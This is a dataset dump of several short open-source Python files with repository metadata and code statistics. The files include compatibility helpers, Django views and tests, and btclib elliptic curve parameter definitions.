| 10 | 19 | 0.7 | 2 | 20 | 7 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15 | 20 | 1 | 20 | 20 | 0.823529 | 0 | 0 | 0 | 0 | 0 | 0.35 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7bc32ee0417ce727e0a26fd19bd8aa2b1552c7b7 | 201 | py | Python | prestans/util.py | petertriho/prestans | e262e542518fcb765df03ae9aa246de296c044ff | [
"BSD-3-Clause"
] | 12 | 2015-05-20T13:37:48.000Z | 2020-10-07T09:46:46.000Z | prestans/util.py | petertriho/prestans | e262e542518fcb765df03ae9aa246de296c044ff | [
"BSD-3-Clause"
] | 113 | 2015-01-08T01:08:11.000Z | 2018-11-22T03:57:28.000Z | prestans/util.py | petertriho/prestans | e262e542518fcb765df03ae9aa246de296c044ff | [
"BSD-3-Clause"
] | 2 | 2016-03-14T04:19:47.000Z | 2019-02-04T05:59:54.000Z | import sys
if sys.version_info < (3,):
integer_types = (int, long)
else:
integer_types = (int,)
if sys.version_info < (3,):
string_types = (str, unicode)
else:
string_types = (str,)
| 15.461538 | 33 | 0.626866 | 28 | 201 | 4.285714 | 0.5 | 0.083333 | 0.2 | 0.266667 | 0.283333 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012821 | 0.223881 | 201 | 12 | 34 | 16.75 | 0.75641 | 0 | 0 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.111111 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7bc5a4074631097c80ac8501ab1caf33a8a60ef5 | 791 | py | Python | test/iast/views/test_scan_strategy.py | luzhongyang/DongTai-webapi | f07b2b1bc1222999d0bb7e3300e65c953ee966f5 | [
"Apache-2.0"
] | 6 | 2021-09-01T07:37:37.000Z | 2022-02-10T08:28:47.000Z | test/iast/views/test_scan_strategy.py | luzhongyang/DongTai-webapi | f07b2b1bc1222999d0bb7e3300e65c953ee966f5 | [
"Apache-2.0"
] | 51 | 2021-11-09T09:19:05.000Z | 2022-02-10T02:37:04.000Z | test/iast/views/test_scan_strategy.py | luzhongyang/DongTai-webapi | f07b2b1bc1222999d0bb7e3300e65c953ee966f5 | [
"Apache-2.0"
] | 21 | 2021-09-01T06:32:19.000Z | 2022-03-03T03:23:37.000Z | ######################################################################
# @author : bidaya0 (bidaya0@$HOSTNAME)
# @file : scan_strategy
# @created : 星期四 12月 02, 2021 19:57:44 CST
#
# @description :
######################################################################
from rest_framework.test import APITestCase
from django.urls import include, path, reverse
from iast.views.scan_strategys import ScanStrategyViewSet
from dongtai.models.user import User
class ScanStrategyTestCase(APITestCase):
def setUp(self):
pass
def test_create(self):
self.client.force_authenticate(user=User.objects.filter(pk=1).first())
response = self.client.get('/api/v1/scan_strategy')
print(response.content)
assert response.status_code == 200
| 31.64 | 78 | 0.579014 | 81 | 791 | 5.567901 | 0.728395 | 0.053215 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031627 | 0.160556 | 791 | 24 | 79 | 32.958333 | 0.64759 | 0.165613 | 0 | 0 | 0 | 0 | 0.040856 | 0.040856 | 0 | 0 | 0 | 0 | 0.083333 | 1 | 0.166667 | false | 0.083333 | 0.333333 | 0 | 0.583333 | 0.083333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 3 |
c870cd753b047169c75eb31326e727268b513679 | 400 | py | Python | alibi/datasets/__init__.py | mauicv/alibi | 30fea76391c255963c8818c2b54aa615b0d6f858 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | alibi/datasets/__init__.py | mauicv/alibi | 30fea76391c255963c8818c2b54aa615b0d6f858 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | alibi/datasets/__init__.py | mauicv/alibi | 30fea76391c255963c8818c2b54aa615b0d6f858 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | from alibi.utils.missing_optional_dependency import import_optional
from .default import fetch_adult, fetch_imagenet, fetch_movie_sentiment, load_cats
fetch_fashion_mnist = import_optional('alibi.datasets.tensorflow', names=['fetch_fashion_mnist'])
__all__ = ['fetch_adult',
'fetch_fashion_mnist',
'fetch_imagenet',
'fetch_movie_sentiment',
'load_cats']
| 36.363636 | 97 | 0.74 | 46 | 400 | 5.913043 | 0.456522 | 0.132353 | 0.1875 | 0.169118 | 0.294118 | 0.294118 | 0.294118 | 0 | 0 | 0 | 0 | 0 | 0.17 | 400 | 10 | 98 | 40 | 0.819277 | 0 | 0 | 0 | 0 | 0 | 0.295 | 0.115 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
c87d504a92842d1440b6aea5e8e1d42ac66c1805 | 1,299 | py | Python | cli/geo_cli/etl/pipeline/tiger_line/metdiv_tiger_line_shapefile_record.py | tetherless-world/twxplore-geo-app | a94ee22aad56817ce8cd87b809df715ee3fee6ad | [
"Apache-2.0"
] | null | null | null | cli/geo_cli/etl/pipeline/tiger_line/metdiv_tiger_line_shapefile_record.py | tetherless-world/twxplore-geo-app | a94ee22aad56817ce8cd87b809df715ee3fee6ad | [
"Apache-2.0"
] | 26 | 2020-07-01T14:47:21.000Z | 2020-07-01T14:51:33.000Z | cli/geo_cli/etl/pipeline/tiger_line/metdiv_tiger_line_shapefile_record.py | tetherless-world/twxplore-geo-app | a94ee22aad56817ce8cd87b809df715ee3fee6ad | [
"Apache-2.0"
] | null | null | null | from geo_cli.etl.pipeline.tiger_line._tiger_line_shapefile_record import _TigerLineShapefileRecord
from geo_cli.etl.pipeline.tiger_line.states import STATE_NAMES_BY_ABBREVIATION
from geo_cli.namespace import TWXPLORE_GEO_APP_ONTOLOGY
class MetdivTigerLineShapefileRecord(_TigerLineShapefileRecord):
@property
def label(self):
return self._record["NAME"]
@property
def locality(self):
return None
@property
def regions(self):
# The GEOID appears to unreliable e.g., 1446015764 with a NAME in Massachusetts,
# but 14 is the FIPS code for Guam
# Parse the name instead
# geoid = str(self._record["GEOID"])
# state_fips_code = int(geoid[:2])
# state_name = STATE_NAMES_BY_FIPS_CODE.get(state_fips_code)
# print(state_fips_code, state_name)
# return state_name
state_abbreviations = self.label.rsplit(sep=None, maxsplit=1)[-1].split("-")
# Some metropolitan divisions cross state lines e.g., New York-Jersey City-White Plains, NY-NJ
state_names = tuple(STATE_NAMES_BY_ABBREVIATION[state_abbreviation] for state_abbreviation in state_abbreviations)
return state_names
@property
def type(self):
return TWXPLORE_GEO_APP_ONTOLOGY.MetropolitanDivision
| 39.363636 | 122 | 0.725173 | 167 | 1,299 | 5.377246 | 0.473054 | 0.055679 | 0.033408 | 0.028953 | 0.066815 | 0.066815 | 0.066815 | 0 | 0 | 0 | 0 | 0.014437 | 0.200154 | 1,299 | 32 | 123 | 40.59375 | 0.849856 | 0.313318 | 0 | 0.222222 | 0 | 0 | 0.005669 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.166667 | 0.166667 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
c89ffc79b7791d30def5d69e260edcfbf301659c | 11,563 | py | Python | btclib/ecurves.py | gionasoldati/BitcoinBlockchainTechnology | 4ac9d5c1bab6c0ff0fb21803d6857cd384c36ed9 | [
"MIT"
] | null | null | null | btclib/ecurves.py | gionasoldati/BitcoinBlockchainTechnology | 4ac9d5c1bab6c0ff0fb21803d6857cd384c36ed9 | [
"MIT"
] | null | null | null | btclib/ecurves.py | gionasoldati/BitcoinBlockchainTechnology | 4ac9d5c1bab6c0ff0fb21803d6857cd384c36ed9 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (C) 2017-2019 The btclib developers
#
# This file is part of btclib. It is subject to the license terms in the
# LICENSE file found in the top-level directory of this distribution.
#
# No part of btclib including this file, may be copied, modified, propagated,
# or distributed except according to the terms contained in the LICENSE file.
"""
Elliptic curves (SEC 2 v.1, SEC 2 v.2, and test curves
"""
# scroll down at the end of the file for relevant code
from btclib.ec import EC
# SEC 2 v.1 curves, removed from SEC 2 v.2 as insecure ones
# http://www.secg.org/SEC2-Ver-1.0.pdf
__p = (2**128 - 3) // 76439
__a = 0xDB7C2ABF62E35E668076BEAD2088
__b = 0x659EF8BA043916EEDE8911702B22
__Gx = 0x09487239995A5EE76B55F9C2F098
__Gy = 0xA89CE5AF8724C0A23E0E0FF77500
__n = 0xDB7C2ABF62E35E7628DFAC6561C5
__h = 1
secp112r1 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 64, False)
__p = (2**128 - 3) // 76439
__a = 0x6127C24C05F38A0AAAF65C0EF02C
__b = 0x51DEF1815DB5ED74FCC34C85D709
__Gx = 0x4BA30AB5E892B4E1649DD0928643
__Gy = 0xADCD46F5882E3747DEF36E956E97
__n = 0x36DF0AAFD8B8D7597CA10520D04B
__h = 4
secp112r2 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 64, False)
__p = 2**128 - 2**97 - 1
__a = 0xFFFFFFFDFFFFFFFFFFFFFFFFFFFFFFFC
__b = 0xE87579C11079F43DD824993C2CEE5ED3
__Gx = 0x161FF7528B899B2D0C28607CA52C5B86
__Gy = 0xCF5AC8395BAFEB13C02DA292DDED7A83
__n = 0xFFFFFFFE0000000075A30D1B9038A115
__h = 1
secp128r1 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 64, False)
__p = 2**128 - 2**97 -1
__a = 0xD6031998D1B3BBFEBF59CC9BBFF9AEE1
__b = 0x5EEEFCA380D02919DC2C6558BB6D8A5D
__Gx = 0x7B6AA5D85E572983E6FB32A7CDEBC140
__Gy = 0x27B6916A894D3AEE7106FE805FC34B44
__n = 0x3FFFFFFF7FFFFFFFBE0024720613B5A3
__h = 4
secp128r2 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 64, False)
__p = 2**160 - 2**32 - 2**14 - 2**12 - 2**9 - 2**8 -2**7 - 2**3 - 2**2 - 1
__a = 0x0000000000000000000000000000000000000000
__b = 0x0000000000000000000000000000000000000007
__Gx = 0x3B4C382CE37AA192A4019E763036F4F5DD4D7EBB
__Gy = 0x938CF935318FDCED6BC28286531733C3F03C4FEE
__n =0x0100000000000000000001B8FA16DFAB9ACA16B6B3
__h = 1
secp160k1 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 80, False)
__p = 2**160 - 2**31 - 1
__a = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFC
__b = 0x1C97BEFC54BD7A8B65ACF89F81D4D4ADC565FA45
__Gx = 0x4A96B5688EF573284664698968C38BB913CBFC82
__Gy = 0x23A628553168947D59DCC912042351377AC5FB32
__n =0x0100000000000000000001F4C8F927AED3CA752257
__h = 1
secp160r1 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 80, False)
__p = 2**160 - 2**32 - 2**14 - 2**12 - 2**9 - 2**8 -2**7 - 2**3 -2**2 - 1
__a = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFAC70
__b = 0xB4E134D3FB59EB8BAB57274904664D5AF50388BA
__Gx = 0x52DCB034293A117E1F4FF11B30F7199D3144CE6D
__Gy = 0xFEAFFEF2E331F296E071FA0DF9982CFEA7D43F2E
__n =0x0100000000000000000000351EE786A818F3A1A16B
__h = 1
secp160r2 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 80, False)
# curves included in both SEC 2 v.1 and SEC 2 v.2
# http://www.secg.org/sec2-v2.pdf
__p = 2**192 - 2**32 - 2**12 - 2**8 - 2**7 - 2**6 - 2**3 - 1
__a = 0
__b = 3
__Gx = 0xDB4FF10EC057E9AE26B07D0280B7F4341DA5D1B1EAE06C7D
__Gy = 0x9B2F2F6D9C5628A7844163D015BE86344082AA88D95E2F9D
__n = 0xFFFFFFFFFFFFFFFFFFFFFFFE26F2FC170F69466A74DEFD8D
__h = 1
secp192k1 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 96, True)
__p = 2**192 - 2**64 - 1
__a = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFC
__b = 0X64210519E59C80E70FA7E9AB72243049FEB8DEECC146B9B1
__Gx = 0x188DA80EB03090F67CBF20EB43A18800F4FF0AFD82FF1012
__Gy = 0x07192B95FFC8DA78631011ED6B24CDD573F977A11E794811
__n = 0xFFFFFFFFFFFFFFFFFFFFFFFF99DEF836146BC9B1B4D22831
__h = 1
secp192r1 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 96, True)
__p = 2**224 - 2**32 - 2**12 - 2**11 - 2**9 - 2**7 - 2**4 - 2 - 1
__a = 0
__b = 5
__Gx = 0xA1455B334DF099DF30FC28A169A467E9E47075A90F7E650EB6B7A45C
__Gy = 0x7E089FED7FBA344282CAFBD6F7E319F7C0B0BD59E2CA4BDB556D61A5
__n = 0x010000000000000000000000000001DCE8D2EC6184CAF0A971769FB1F7
__h = 1
secp224k1 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 112, True)
__p = 2**224 - 2**96 + 1
__a = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFE
__b = 0XB4050A850C04B3ABF54132565044B0B7D7BFD8BA270B39432355FFB4
__Gx = 0xB70E0CBD6BB4BF7F321390B94A03C1D356C21122343280D6115C1D21
__Gy = 0xBD376388B5F723FB4C22DFE6CD4375A05A07476444D5819985007E34
__n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF16A2E0B8F03E13DD29455C5C2A3D
__h = 1
secp224r1 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 112, True)
# bitcoin curve
__p = 2**256 - 2**32 - 977
__a = 0
__b = 7
__Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
__Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
__n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
__h = 1
secp256k1 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 128, True)
__p = 2**256 - 2**224 + 2**192 + 2**96 - 1
__a = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
__b = 0X5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
__Gx = 0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
__Gy = 0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5
__n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
__h = 1
secp256r1 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 128, True)
__p = 2**384 - 2**128 - 2**96 + 2**32 - 1
__a = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFC
__b = 0XB3312FA7E23EE7E4988E056BE3F82D19181D9C6EFE8141120314088F5013875AC656398D8A2ED19D2A85C8EDD3EC2AEF
__Gx = 0xAA87CA22BE8B05378EB1C71EF320AD746E1D3B628BA79B9859F741E082542A385502F25DBF55296C3A545E3872760AB7
__Gy = 0x3617DE4A96262C6F5D9E98BF9292DC29F8F41DBD289A147CE9DA3113B5F0B8C00A60B1CE1D7E819D7A431D7C90EA0E5F
__n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7634D81F4372DDF581A0DB248B0A77AECEC196ACCC52973
__h = 1
secp384r1 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 192, True)
__p = 2**521 - 1
__a = 0x01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC
__b = 0x0051953EB9618E1C9A1F929A21A0B68540EEA2DA725B99B315F3B8B489918EF109E156193951EC7E937B1652C0BD3BB1BF073573DF883D2C34F1EF451FD46B503F00
__Gx = 0x00C6858E06B70404E9CD9E3ECB662395B4429C648139053FB521F828AF606B4D3DBAA14B5E77EFE75928FE1DC127A2FFA8DE3348B3C1856A429BF97E7E31C2E5BD66
__Gy = 0x011839296A789A3BC0045C8A5FB42C7D1BD998F54449579B446817AFBD17273E662C97EE72995EF42640C550B9013FAD0761353C7086A272C24088BE94769FD16650
__n = 0x01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA51868783BF2F966B7FCC0148F709A5D03BB5C9B8899C47AEBB6FB71E91386409
__h = 1
secp521r1 = EC(__p, __a, __b, (__Gx, __Gy), __n, __h, 256, True)
# test curves: very low cardinality
ec13_11 = EC(13, 7, 6, (1, 1), 11, 1, 0, False)
ec13_19 = EC(13, 0, 2, (1, 9), 19, 1, 0, False)
ec17_13 = EC(17, 6, 8, (0, 12), 13, 2, 0, False)
ec17_23 = EC(17, 3, 5, (1, 14), 23, 1, 0, False)
ec19_13 = EC(19, 0, 2, (4, 16), 13, 2, 0, False)
ec19_23 = EC(19, 2, 9, (0, 16), 23, 1, 0, False)
ec23_19 = EC(23, 9, 7, (5, 4), 19, 1, 0, False)
ec23_31 = EC(23, 5, 1, (0, 1), 31, 1, 0, False)
# FIPS PUB 186-4
# FEDERAL INFORMATION PROCESSING STANDARDS PUBLICATION
# Digital Signature Standard (DSS)
# https://oag.ca.gov/sites/all/files/agweb/pdfs/erds1/fips_pub_07_2013.pdf
__p = 6277101735386680763835789423207666416083908700390324961279
__n = 6277101735386680763835789423176059013767194773182842284081
__SEED = 0x3045ae6fc8422f64ed579528d38120eae12196d5
__c = 0x3099d2bbbfcb2538542dcd5fb078b6ef5f3d6fe2c745de65
__b = 0x64210519e59c80e70fa7e9ab72243049feb8deecc146b9b1
__Gx = 0x188da80eb03090f67cbf20eb43a18800f4ff0afd82ff1012
__Gy = 0x07192b95ffc8da78631011ed6b24cdd573f977a11e794811
P192 = EC(__p, __p-3, __b, (__Gx, __Gy), __n, 1, 96, True)
__p = 26959946667150639794667015087019630673557916260026308143510066298881
__n = 26959946667150639794667015087019625940457807714424391721682722368061
__SEED = 0xbd71344799d5c7fcdc45b59fa3b9ab8f6a948bc5
__c = 0x5b056c7e11dd68f40469ee7f3c7a7d74f7d121116506d031218291fb
__b = 0xb4050a850c04b3abf54132565044b0b7d7bfd8ba270b39432355ffb4
__Gx = 0xb70e0cbd6bb4bf7f321390b94a03c1d356c21122343280d6115c1d21
__Gy = 0xbd376388b5f723fb4c22dfe6cd4375a05a07476444d5819985007e34
P224 = EC(__p, __p-3, __b, (__Gx, __Gy), __n, 1, 112, True)
__p = 115792089210356248762697446949407573530086143415290314195533631308867097853951
__n = 115792089210356248762697446949407573529996955224135760342422259061068512044369
__SEED = 0xc49d360886e704936a6678e1139d26b7819f7e90
__c = 0x7efba1662985be9403cb055c75d4f7e0ce8d84a9c5114abcaf3177680104fa0d
__b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
__Gx = 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296
__Gy = 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5
P256 = EC(__p, __p-3, __b, (__Gx, __Gy), __n, 1, 128, True)
__p = 39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319
__n = 39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643
__SEED = 0xa335926aa319a27a1d00896a6773a4827acdac73
__c = 0x79d1e655f868f02fff48dcdee14151ddb80643c1406d0ca10dfe6fc52009540a495e8042ea5f744f6e184667cc722483
__b = 0xb3312fa7e23ee7e4988e056be3f82d19181d9c6efe8141120314088f5013875ac656398d8a2ed19d2a85c8edd3ec2aef
__Gx = 0xaa87ca22be8b05378eb1c71ef320ad746e1d3b628ba79b9859f741e082542a385502f25dbf55296c3a545e3872760ab7
__Gy = 0x3617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147ce9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5f
P384 = EC(__p, __p-3, __b, (__Gx, __Gy), __n, 1, 192, True)
__p = 6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151
__n = 6864797660130609714981900799081393217269435300143305409394463459185543183397655394245057746333217197532963996371363321113864768612440380340372808892707005449
__SEED = 0xd09e8800291cb85396cc6717393284aaa0da64ba
__c = 0x0b48bfa5f420a34949539d2bdfc264eeeeb077688e44fbf0ad8f6d0edb37bd6b533281000518e19f1b9ffbe0fe9ed8a3c2200b8f875e523868c70c1e5bf55bad637
__b = 0x051953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3b8b489918ef109e156193951ec7e937b1652c0bd3bb1bf073573df883d2c34f1ef451fd46b503f00
__Gx = 0x0c6858e06b70404e9cd9e3ecb662395b4429c648139053fb521f828af606b4d3dbaa14b5e77efe75928fe1dc127a2ffa8de3348b3c1856a429bf97e7e31c2e5bd66
__Gy = 0x11839296a789a3bc0045c8a5fb42c7d1bd998f54449579b446817afbd17273e662c97ee72995ef42640c550b9013fad0761353c7086a272c24088be94769fd16650
P521 = EC(__p, __p-3, __b, (__Gx, __Gy), __n, 1, 256, True)
# curve sets
low_card_curves = [ec13_11, ec13_19, # 13 % 4 = 1; 13 % 8 = 5
ec17_13, ec17_23, # 17 % 4 = 1; 17 % 8 = 1
ec19_13, ec19_23, # 19 % 4 = 3; 19 % 8 = 3
ec23_19, ec23_31 # 23 % 4 = 3; 23 % 8 = 7
]
SEC2V2_curves = [secp192k1, secp192r1,
secp224k1, secp224r1,
secp256k1, secp256r1,
secp384r1,
secp521r1]
SEC2V1_curves = SEC2V2_curves + [secp112r1, secp112r2,
secp128r1, secp128r2,
secp160k1, secp160r1, secp160r2]
curves = [P192, P224, P256, P384, P521]
all_curves = low_card_curves + SEC2V1_curves + curves
| 47.004065 | 163 | 0.808008 | 962 | 11,563 | 9.111227 | 0.272349 | 0.006845 | 0.011409 | 0.013691 | 0.246321 | 0.239133 | 0.046207 | 0.046207 | 0.043697 | 0.036851 | 0 | 0.470276 | 0.119865 | 11,563 | 245 | 164 | 47.195918 | 0.39098 | 0.083542 | 0 | 0.130435 | 0 | 0 | 0 | 0 | 0 | 0 | 0.535782 | 0 | 0 | 1 | 0 | false | 0 | 0.005435 | 0 | 0.005435 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
c8a7d06d3e6bb10a768e9528c05b7f2f895b9aba | 388 | py | Python | webpersonal/portfolio/views.py | francoxr/Blog-Django | c5a639a25fcb90603128895d43430cfa44084c65 | [
"MIT"
] | null | null | null | webpersonal/portfolio/views.py | francoxr/Blog-Django | c5a639a25fcb90603128895d43430cfa44084c65 | [
"MIT"
] | null | null | null | webpersonal/portfolio/views.py | francoxr/Blog-Django | c5a639a25fcb90603128895d43430cfa44084c65 | [
"MIT"
] | null | null | null | from django.shortcuts import render
from .models import Project
# Create your views here.
def briefcase(request):
projects = Project.objects.all()
return render(request, 'portfolio/briefcase.html', {'projects': projects})
def detail_proyect(request, pk):
project = Project.objects.get(id=pk)
return render(request, 'portfolio/proyect_detail.html', {'project': project}) | 32.333333 | 81 | 0.742268 | 48 | 388 | 5.958333 | 0.520833 | 0.097902 | 0.132867 | 0.195804 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.134021 | 388 | 12 | 81 | 32.333333 | 0.85119 | 0.059278 | 0 | 0 | 0 | 0 | 0.186813 | 0.145604 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
c8a98ebb77c716996bbc7bb5860180131e3e33e3 | 142 | py | Python | mods/example_mod.py | PonygeekICY/ICLab | 61af884ae0ca52677497e32c8e8d5bfec58c669c | [
"MIT"
] | 1 | 2018-02-22T15:37:36.000Z | 2018-02-22T15:37:36.000Z | mods/example_mod.py | PonygeekICY/ICLab | 61af884ae0ca52677497e32c8e8d5bfec58c669c | [
"MIT"
] | null | null | null | mods/example_mod.py | PonygeekICY/ICLab | 61af884ae0ca52677497e32c8e8d5bfec58c669c | [
"MIT"
] | null | null | null | #VERSION: 1.0
INFO = {"example":("test","This is an example mod")}
RLTS = {"cls":(),"funcs":("echo"),"vars":()}
def test(cmd):
echo(0,cmd)
| 17.75 | 52 | 0.56338 | 22 | 142 | 3.636364 | 0.772727 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.024194 | 0.126761 | 142 | 7 | 53 | 20.285714 | 0.620968 | 0.084507 | 0 | 0 | 0 | 0 | 0.379845 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
c8e3e1e7eea6a4d4af03f70eacc69ba9ee210aca | 166 | py | Python | familytree/urls.py | rocktavious/ohrockman | e4c7bf949231a8b0f39b32d219d0c5e843cb22f7 | [
"MIT"
] | 1 | 2017-02-15T02:06:14.000Z | 2017-02-15T02:06:14.000Z | familytree/urls.py | rocktavious/ohrockman | e4c7bf949231a8b0f39b32d219d0c5e843cb22f7 | [
"MIT"
] | null | null | null | familytree/urls.py | rocktavious/ohrockman | e4c7bf949231a8b0f39b32d219d0c5e843cb22f7 | [
"MIT"
] | null | null | null | from django.conf.urls import patterns, include, url
from django.contrib import admin
urlpatterns = patterns('',
url(r'^newdisplay/', 'familytree.views.tree'),
)
| 23.714286 | 51 | 0.73494 | 21 | 166 | 5.809524 | 0.761905 | 0.163934 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.126506 | 166 | 6 | 52 | 27.666667 | 0.841379 | 0 | 0 | 0 | 0 | 0 | 0.198795 | 0.126506 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
c8e828d81844e815d22b43ef48f14d92299f6d2a | 2,117 | py | Python | test/test_la_metro.py | Intersection/gtfs-realtime-translators | 67919600a3511a5424a620be893982b968c782f7 | [
"Apache-2.0"
] | 17 | 2019-06-20T15:09:57.000Z | 2021-04-30T22:01:16.000Z | test/test_la_metro.py | Intersection/gtfs-realtime-translators | 67919600a3511a5424a620be893982b968c782f7 | [
"Apache-2.0"
